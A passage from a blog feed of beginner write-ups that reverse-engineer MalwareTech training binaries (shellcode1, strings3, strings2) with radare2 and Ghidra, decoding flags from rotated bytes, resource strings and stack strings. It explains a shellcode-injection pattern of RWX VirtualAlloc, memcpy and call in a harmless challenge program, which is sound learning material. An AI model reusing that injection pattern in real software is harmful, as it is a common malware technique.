|           0x004022a2      push str.2b__:__B_bb ; 0x404040 ; &quot;2b\n:\u06daB*bb\x1az\&quot;*iJ\x9ar\xa2iR\xaa\x9a\xa2i2z\x92i*\u0082bzJ\xa2\x9a\xeb&quot; ; const char *s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using the comment generated by radare2 we know our string starts at 0x404040 and the last byte is EB. Lets go look at 0x404040 in the hexdump view and grab those bytes:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/shellcode1-cutter-hexdump.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;32 62 0a 3a 
db 9a 42 2a
62 62 1a 7a
22 2a 69 4a
9a 72 a2 69
52 aa 9a a2
69 32 7a 92
69 2a c2 82
62 7a 4a a2
9a eb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next few lines of assembly calls strlen which would get the length of the dword we just pushed to the stack:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x004022a7      call sub.ntdll.dll_strlen ; size_t strlen(const char *s)
|           0x004022ac      add esp, 4
|           0x004022af      mov ecx, dword [var_4h]
|           0x004022b2      mov dword [ecx + 4], eax
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It looks like we are saving this string for later use as var_4h lets move on:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x004022b5      push 0x40 ; '@' ; 64 ; DWORD flProtect
|           0x004022b7      push 0x1000 ; DWORD flAllocationType
|           0x004022bc      push 0xd ; 13 ; SIZE_T dwSize
|           0x004022be      push 0 ; LPVOID lpAddress
|           0x004022c0      call dword [sym.imp.KERNEL32.dll_VirtualAlloc] ; 0x403000 ; LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|           0x004022c6      mov dword [s1], eax
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;At 0x004022c0 we are calling &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&quot;&gt;VirtualAlloc(0, 13, 0x1000, 0x40)&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Lets go over what the parameters we are sending mean.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;0 is the starting address of the region to allocate.&lt;/li&gt;
  &lt;li&gt;13 is the region size in bytes.&lt;/li&gt;
  &lt;li&gt;0x1000 translates to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MEM_COMMIT&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;Allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages. The function also guarantees that when the caller later initially accesses the memory, the contents will be zero. Actual physical pages are not allocated unless/until the virtual addresses are actually accessed.
To reserve and commit pages in one step, call VirtualAlloc with MEM_COMMIT | MEM_RESERVE.
Attempting to commit a specific address range by specifying MEM_COMMIT without MEM_RESERVE and a non-NULL lpAddress fails unless the entire range has already been reserved. The resulting error code is ERROR_INVALID_ADDRESS.
An attempt to commit a page that is already committed does not cause the function to fail. This means that you can commit pages without first determining the current commitment state of each page.
If lpAddress specifies an address within an enclave, flAllocationType must be MEM_COMMIT.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;0x40 translates to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;Enables execute, read-only, or read/write access to the committed region of pages.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The return value, the base memory address, is saved as a dword.&lt;/p&gt;

&lt;p&gt;Now we have an address to a 13 byte section of page memory with RWX.&lt;/p&gt;

&lt;p&gt;Moving forward it looks like we are setting up the stack to call &lt;a href=&quot;https://www.geeksforgeeks.org/write-memcpy/&quot;&gt;memcpy(address to our 13 byte page memory, 0x404068, 13)&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x004022cc      push 0xd ; 13 ; size_t n
|           0x004022ce      push 0x404068 ; 'h@@' ; const void *s2
|           0x004022d3      mov edx, dword [s1]
|           0x004022d9      push edx ; void *s1
|           0x004022da      call sub.ntdll.dll_memcpy ; void *memcpy(void *s1, const void *s2, size_t n)
|           0x004022df      add esp, 0xc
|           0x004022e2      mov esi, dword [var_4h]
|           0x004022e5      call dword [s1]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So we are copying 13 bytes from 0x404068 to page memory.
Then we are moving the string from earlier to esi.
0x004022e5 is a call to si which is the memory address that we have copied to.
Lets take a look at whats at 0x404068:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x00404068      mov edi, dword [esi]
|           0x0040406a      mov ecx, dword [esi + 4] ; [0x4:4]=-1 ; 4
|       .-&amp;gt; 0x0040406d      rol byte [edi + ecx - 1], 5
|       `=&amp;lt; 0x00404072      loop 0x40406d
|           0x00404074      ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This appears to be our shellcode and we are injecting it into page memory.
The call in 0x004022e5 runs this code.&lt;/p&gt;

&lt;p&gt;Right away we see that we are moving esi to edi.&lt;/p&gt;

&lt;p&gt;We are then setting up a counter, which relates back to the strlen call we saw earlier. This is likely our way of iterating over the string so to speak.&lt;/p&gt;

&lt;p&gt;We then see:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|       .-&amp;gt; 0x0040406d      rol byte [edi + ecx - 1], 5
|       `=&amp;lt; 0x00404072      loop 0x40406d
|           0x00404074      ret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So it appears our shellcode is taking our string (byte array) from earlier and rotating the bits left 5 and then returning the new string, which I can only assume is our flag.&lt;/p&gt;

&lt;p&gt;Normally I would grab the hex throw it in a Python list and iterate through it, however Python does not contain a native rotate function.&lt;/p&gt;

&lt;p&gt;Instead of grabbinbg one off Github or writing one myself, lets use another tool that I find very useful when working with data conversions: &lt;a href=&quot;https://gchq.github.io/CyberChef&quot;&gt;CyberChef&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/shellcode1-cyberchef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And just like that we have our flag.&lt;/p&gt;

&lt;p&gt;The rest of the assembly is what we have become familiar with in these challenges. When ran the program prints the MD5 value of the flag and pops a messagebox saying “We’ve been compromised!”&lt;/p&gt;

&lt;p&gt;I learned a lot from this challenge. This is all new to me so going in getting my hands dirty has been great. We found a “string” that wasnt readable. We found byte code that we then injected into memory. And we were able to replicate the byte code and sucessfully translate our string into a readable flag.&lt;/p&gt;

&lt;p&gt;10/10 will upload again.&lt;/p&gt;
</description>
        <pubDate>Sun, 23 Jun 2019 22:15:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/MalwareTechChallenge_shellcode1.exe/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/MalwareTechChallenge_shellcode1.exe/</guid>
        
        <category>mtchallenge</category>
        
        <category>tools</category>
        
        <category>re</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>MalwareTech Challenge - strings3.exe</title>
        <description>&lt;p&gt;I have been teaching myself to reverse engineer binary programs so that I can use these skills to reverse engineer malware.
I have been learning assembly code, and playing with new tools such as ghidra and radare2/cutter.&lt;/p&gt;

&lt;p&gt;I found that &lt;a href=&quot;https://twitter.com/MalwareTechBlog&quot;&gt;@MalwareTech&lt;/a&gt; had some great binary analysis challenges on his blog and decided to check them out.&lt;/p&gt;

&lt;p&gt;This write up covers the third challenge strings3.exe: &lt;a href=&quot;https://www.malwaretech.com/strings3&quot;&gt;‘https://www.malwaretech.com/strings3’&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets open this binary in cutter and analyze it with radare2.
Once open lets navigate to the entry fucntion:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/strings3-cutter.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Already this challenge looks a bit more challenging than the previous ones.
Lets take a look at the assembly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;/ (fcn) entry0 179
|   entry0 ();
|           ; var LPSTR lpBuffer @ ebp-0x4a0
|           ; var void *s @ ebp-0x49f
|           ; var LPCSTR lpText @ ebp-0x9c
|           ; var int32_t var_98h @ ebp-0x98
|           ; var HRSRC var_8h @ ebp-0x8
|           ; var UINT uID @ ebp-0x4
|           0x00402290      push ebp
|           0x00402291      mov ebp, esp
|           0x00402293      sub esp, 0x4a0
|           0x00402299      lea ecx, [var_98h]
|           0x0040229f      call sym.plaintext3.exe___0MD5__QAE_XZ
|           0x004022a4      mov byte [lpBuffer], 0
|           0x004022ab      push 0x3ff ; 1023 ; size_t n
|           0x004022b0      push 0 ; int c
|           0x004022b2      lea eax, [s]
|           0x004022b8      push eax ; void *s
|           0x004022b9      call sub.ntdll.dll_memset ; void *memset(void *s, int c, size_t n)
|           0x004022be      add esp, 0xc
|           0x004022c1      mov dword [uID], 0
|           0x004022c8      push 6 ; 6 ; LPCSTR lpType
|           0x004022ca      push str.rc.rc ; 0x403028 ; &quot;rc.rc&quot; ; LPCSTR lpName
|           0x004022cf      push 0 ; HMODULE hModule
|           0x004022d1      call dword [sym.imp.KERNEL32.dll_FindResourceA] ; 0x403000 ; HRSRC FindResourceA(HMODULE hModule, LPCSTR lpName, LPCSTR lpType)
|           0x004022d7      mov dword [var_8h], eax
|           0x004022da      mov eax, 1
|           0x004022df      shl eax, 8
|           0x004022e2      xor edx, edx
|           0x004022e4      inc edx
|           0x004022e5      shl edx, 4
|           0x004022e8      or eax, edx
|           0x004022ea      mov dword [uID], eax
|           0x004022ed      push 0x3ff ; 1023 ; int cchBufferMax
|           0x004022f2      lea ecx, [lpBuffer]
|           0x004022f8      push ecx ; LPSTR lpBuffer
|           0x004022f9      mov edx, dword [uID]
|           0x004022fc      push edx ; UINT uID
|           0x004022fd      push 0 ; HINSTANCE hInstance
|           0x004022ff      call dword [sym.imp.USER32.dll_LoadStringA] ; 0x40300c ; &quot;*1&quot; ; int LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax)
|           0x00402305      lea eax, [lpBuffer]
|           0x0040230b      push eax
|           0x0040230c      lea ecx, [var_98h]
|           0x00402312      call sym.plaintext3.exe__digestString_MD5__QAEPADPAD_Z
|           0x00402317      mov dword [lpText], eax
|           0x0040231d      push 0x30 ; '0' ; 48 ; UINT uType
|           0x0040231f      push str.We_ve_been_compromised ; 0x403030 ; &quot;We've been compromised!&quot; ; LPCSTR lpCaption
|           0x00402324      mov ecx, dword [lpText]
|           0x0040232a      push ecx ; LPCSTR lpText
|           0x0040232b      push 0 ; HWND hWnd
|           0x0040232d      call dword [sym.imp.USER32.dll_MessageBoxA] ; 0x403010 ; int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
|           0x00402333      push 0 ; UINT uExitCode
|           0x00402335      call dword [sym.imp.KERNEL32.dll_ExitProcess] ; 0x403004 ; void ExitProcess(UINT uExitCode)
|           0x0040233b      xor eax, eax
|           0x0040233d      mov esp, ebp
|           0x0040233f      pop ebp
\           0x00402340      ret 0x10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here we see several variables being referenced then stack being initialized.
After this we are loding in the addresses of the functions we will be calling.
Looking through the next couple of lines we come across:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x004022c1      mov dword [uID], 0
|           0x004022c8      push 6 ; 6 ; LPCSTR lpType
|           0x004022ca      push str.rc.rc ; 0x403028 ; &quot;rc.rc&quot; ; LPCSTR lpName
|           0x004022cf      push 0 ; HMODULE hModule
|           0x004022d1      call dword [sym.imp.KERNEL32.dll_FindResourceA] ; 0x403000 ; HRSRC FindResourceA(HMODULE hModule, LPCSTR lpName, LPCSTR lpType)
|           0x004022d7      mov dword [var_8h], eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So it looks like we are setting up a pointer to store the output of a function call.
The function we are calling is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FindResourceA&lt;/code&gt;.
Now based on the name we can assume what this does but since i have no idea what I am doing lets do a quick google search.
The first result was a &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-findresourcea&quot;&gt;‘Microsoft Docs page’&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/MSDocsFindResourceA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Determines the location of a resource with the specified type and name in the specified module.&lt;/code&gt;
So our end result will be an address to a resource stored in var_8h.&lt;/p&gt;

&lt;p&gt;Further down we come across another function call:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x004022ea      mov dword [uID], eax
|           0x004022ed      push 0x3ff ; 1023 ; int cchBufferMax
|           0x004022f2      lea ecx, [lpBuffer]
|           0x004022f8      push ecx ; LPSTR lpBuffer
|           0x004022f9      mov edx, dword [uID]
|           0x004022fc      push edx ; UINT uID
|           0x004022fd      push 0 ; HINSTANCE hInstance
|           0x004022ff      call dword [sym.imp.USER32.dll_LoadStringA] ; 0x40300c ; &quot;*1&quot; ; int LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax)
|           0x00402305      lea eax, [lpBuffer]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Lets figure out what &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-loadstringa&quot;&gt;‘LoadStringA’&lt;/a&gt; does exactly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/MSDocsLoadStringA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Loads a string resource from the executable file associated with a specified module and either copies the string into a buffer with a terminating null character or returns a read-only pointer to the string resource itself.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The rest of the entry function looks like what we have seen in the past challenges.&lt;/p&gt;

&lt;p&gt;So it looks like our flag is in lpBuffer. Now we just need to figure out how to take a look at that.
Looking at the docs the second argument given to LoadStringA is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The identifier of the string to be loaded.&lt;/code&gt; which in our code is here &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x004022ea      mov dword [uID], eax&lt;/code&gt;. So we need to know what resource to look at then we could use the string identifier to find our flag.
Looking at just the assembly here there are a few lines here that stand out to me.
eax is set to a value that is then moved to uID. Lets do some quick math.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|          0x004022da      mov eax, 1                 ; eax = 1
|          0x004022df      shl eax, 8                 ; eax = 1 &amp;lt;&amp;lt; 8 = 256 = 0x100
|          0x004022e2      xor edx, edx               ; clears out edx for use
|          0x004022e4      inc edx                    ; edx = 1
|          0x004022e5      shl edx, 4                 ; edx = 1 &amp;lt;&amp;lt; 4 = 16 = 0x10
|          0x004022e8      or eax, edx                ; eax = 256 | 16 = 272 = 0x110
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So it looks like the string identifier is 272 (0x110).
Lets see if we can find it.&lt;/p&gt;

&lt;p&gt;Popping open the resources it doesnt look like we have a 272, or rather radare2 wasnt able to parse all the resource strings properly:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/strings3-cutter-resources.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lets open this up and see what ghidra shows us.
Once pulling up the entry function i started editing the function signature and some of the variable names to reflect what we already know:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/strings3-ghidra.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Well look at that, ghidra even populated the flag in the disassembly view, lets pretend we didnt see that and find it ourselves.&lt;/p&gt;

&lt;p&gt;The decompiled code gives us a much better idea of what is happening:&lt;/p&gt;

&lt;div class=&quot;language-c# highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;LPSTR&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_4a4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;MD5&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_9c&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;144&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;HRSRC&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;UINT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag_resource_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;nf&quot;&gt;MD5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_9c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_4a4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_0_1_&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;*)((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_4a4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x3ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;flag_resource_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_c&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FindResourceA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HMODULE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;rc.rc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;flag_resource_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x110&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;LoadStringA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HINSTANCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x110&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_4a4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x3ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;lpText&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;digestString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_9c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;*)&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_4a4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;MessageBoxA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HWND&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;We\'ve been compromised!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;ExitProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So now we have the string identifier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag_resource_id = 0x110;&lt;/code&gt; which matches what we computed from the assembly code above.
Lets check out our resources to see what we can find out.
Clicking on .rsrc in the program tree to open the resources shows much more promise:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/strings3-ghidra-resources.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Scrolling through the resources we see that they ghidra has correctly parsed out our resource strings, and a bit of scrolling later we come across 272.
Flag acquired!&lt;/p&gt;

&lt;p&gt;This was definitely the toughest challenge thusfar.
My methodolgy could use some optimizing, hopefully that comes as I become more familiar with things.
More to come soon!&lt;/p&gt;
</description>
        <pubDate>Sat, 22 Jun 2019 20:40:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/MalwareTechChallenge_strings3.exe/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/MalwareTechChallenge_strings3.exe/</guid>
        
        <category>mtchallenge</category>
        
        <category>tools</category>
        
        <category>re</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>MalwareTech Challenge - strings2.exe</title>
        <description>&lt;p&gt;I have been teaching myself to reverse engineer binary programs so that I can use these skills to reverse engineer malware.
I have been learning assembly code, and playing with new tools such as ghidra and radare2/cutter.&lt;/p&gt;

&lt;p&gt;I found that &lt;a href=&quot;https://twitter.com/MalwareTechBlog&quot;&gt;@MalwareTech&lt;/a&gt; had some great binary analysis challenges on his blog and decided to check them out.&lt;/p&gt;

&lt;p&gt;This write up covers the second challenge strings2.exe: &lt;a href=&quot;https://www.malwaretech.com/strings2&quot;&gt;‘https://www.malwaretech.com/strings2’&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets open this binary in cutter and analyze it with radare2.
Once open lets navigate to the entry fucntion:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/strings2-cutter.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Right away, just as in the first challenge, it looks like we have the flag.
This time it has been initialized as a stack string.
Lets take a look at the assembly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;(fcn) entry0 200
|   entry0 ();
|           ; var int32_t var_28h @ ebp-0x28
|           ; var int32_t var_27h @ ebp-0x27
|           ; var int32_t var_26h @ ebp-0x26
|           ; var int32_t var_25h @ ebp-0x25
|           ; var int32_t var_24h @ ebp-0x24
|           ; var int32_t var_23h @ ebp-0x23
|           ; var int32_t var_22h @ ebp-0x22
|           ; var int32_t var_21h @ ebp-0x21
|           ; var int32_t var_20h @ ebp-0x20
|           ; var int32_t var_1fh @ ebp-0x1f
|           ; var int32_t var_1eh @ ebp-0x1e
|           ; var int32_t var_1dh @ ebp-0x1d
|           ; var int32_t var_1ch @ ebp-0x1c
|           ; var int32_t var_1bh @ ebp-0x1b
|           ; var int32_t var_1ah @ ebp-0x1a
|           ; var int32_t var_19h @ ebp-0x19
|           ; var int32_t var_18h @ ebp-0x18
|           ; var int32_t var_17h @ ebp-0x17
|           ; var int32_t var_16h @ ebp-0x16
|           ; var int32_t var_15h @ ebp-0x15
|           ; var int32_t var_14h @ ebp-0x14
|           ; var int32_t var_13h @ ebp-0x13
|           ; var int32_t var_12h @ ebp-0x12
|           ; var int32_t var_11h @ ebp-0x11
|           ; var int32_t var_10h @ ebp-0x10
|           ; var int32_t var_fh @ ebp-0xf
|           ; var int32_t var_eh @ ebp-0xe
|           ; var int32_t var_dh @ ebp-0xd
|           ; var int32_t var_ch @ ebp-0xc
|           ; var int32_t var_bh @ ebp-0xb
|           ; var int32_t var_ah @ ebp-0xa
|           ; var int32_t var_9h @ ebp-0x9
|           ; var int32_t var_8h @ ebp-0x8
|           ; var int32_t var_7h @ ebp-0x7
|           ; var int32_t var_6h @ ebp-0x6
|           ; var int32_t var_5h @ ebp-0x5
|           ; var LPCSTR lpText @ ebp-0x4
|           0x004022b0      push ebp
|           0x004022b1      mov  ebp, esp
|           0x004022b3      sub  esp, 0x28 ; '('
|           0x004022b6      mov  byte [var_28h], 0x46 ; 'F' ; 70
|           0x004022ba      mov  byte [var_27h], 0x4c ; 'L' ; 76
|           0x004022be      mov  byte [var_26h], 0x41 ; 'A' ; 65
|           0x004022c2      mov  byte [var_25h], 0x47 ; 'G' ; 71
|           0x004022c6      mov  byte [var_24h], 0x7b ; '{' ; 123
|           0x004022ca      mov  byte [var_23h], 0x53 ; 'S' ; 83
|           0x004022ce      mov  byte [var_22h], 0x54 ; 'T' ; 84
|           0x004022d2      mov  byte [var_21h], 0x41 ; 'A' ; 65
|           0x004022d6      mov  byte [var_20h], 0x43 ; 'C' ; 67
|           0x004022da      mov  byte [var_1fh], 0x4b ; 'K' ; 75
|           0x004022de      mov  byte [var_1eh], 0x2d ; '-' ; 45
|           0x004022e2      mov  byte [var_1dh], 0x53 ; 'S' ; 83
